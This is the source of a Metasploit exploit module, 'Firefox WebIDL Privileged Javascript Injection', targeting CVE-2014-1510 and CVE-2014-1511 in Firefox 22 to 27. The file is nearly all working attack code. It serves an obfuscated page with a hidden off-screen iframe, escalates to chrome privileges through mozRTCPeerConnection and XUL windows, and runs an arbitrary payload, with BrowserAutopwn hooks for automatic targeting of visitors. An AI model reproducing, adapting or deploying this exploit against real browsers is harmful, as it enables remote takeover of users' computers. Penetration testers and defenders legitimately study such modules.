1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name=> HttpClients::FF, :ua_maxver=> "22.0", :ua_maxver=> "27.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox WebIDL Privileged Javascript Injection', 'Description'=> %q{ This exploit gains remote code execution on Firefox 22-27 by abusing two separate privilege escalation vulnerabilities in Firefox's Javascript APIs. }, 'License' => MSF_LICENSE, 'Author'=> [ 'Marius Mlynski', # discovery and pwn2own exploit 'joev' # metasploit module ], 'DisclosureDate' => "Mar 17 2014", 'References' => [ ['CVE', '2014-1510'], # open chrome:// url in iframe ['CVE', '2014-1511']# bypass popup blocker to load bare ChromeWindow ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source=> 'script', :ua_name => HttpClients::FF, :ua_ver=> lambda { |ver| ver.to_i.between?(22, 27) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) frame = Rex::Text.rand_text_alpha(5 + rand(12)) r = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+ "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+ "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>" js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; // Load the chrome-privileged browser XUL script into an iframe var c = new mozRTCPeerConnection; c.createOffer(function(){},function(){ window.open('chrome://browser/content/browser.xul', '#{frame}'); step1(); }); // Inject a data: URI into an internal frame inside of the browser // XUL script to pop open a new window with the chrome flag to prevent // the new window from being wrapped with browser XUL; function step1() { var clear = setInterval(function(){ // throws until frames[0].frames[2] is available (when chrome:// iframe loads) frames[0].frames[2].location; // we base64 this to avoid the script tag screwing up things when obfuscated frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}'); clearInterval(clear); setTimeout(step2, 100); },10); } // Step 2: load the chrome-level window up with a data URI, which // gives us same-origin. Make sure to load an "<iframe mozBrowser>" // into the frame, since that will respond to our messageManager // (this is important later) function step2() { var clear = setInterval(function(){ top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+ 'src="about:blank"></iframe></body></html>'; clearInterval(clear); setTimeout(step3, 100); }, 10); } function step3() { var clear = setInterval(function(){ if (!frames[0]) return; // will throw until the frame is accessible top.vvv.messageManager.loadFrameScript('data:,'+key, false); clearInterval(clear); setTimeout(function(){top.vvv.close();}, 100); }, 10); } |) js.obfuscate %Q| <!doctype html> <html> <body> <iframe id='#{frame}' name='#{frame}' style='position:absolute;left:-9999999px;height:1px;width:1px;'> </iframe> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end |